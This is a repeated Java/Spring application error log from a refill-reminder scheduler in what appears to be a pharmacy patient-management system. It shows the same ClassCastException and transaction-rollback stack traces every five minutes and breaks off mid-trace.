java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 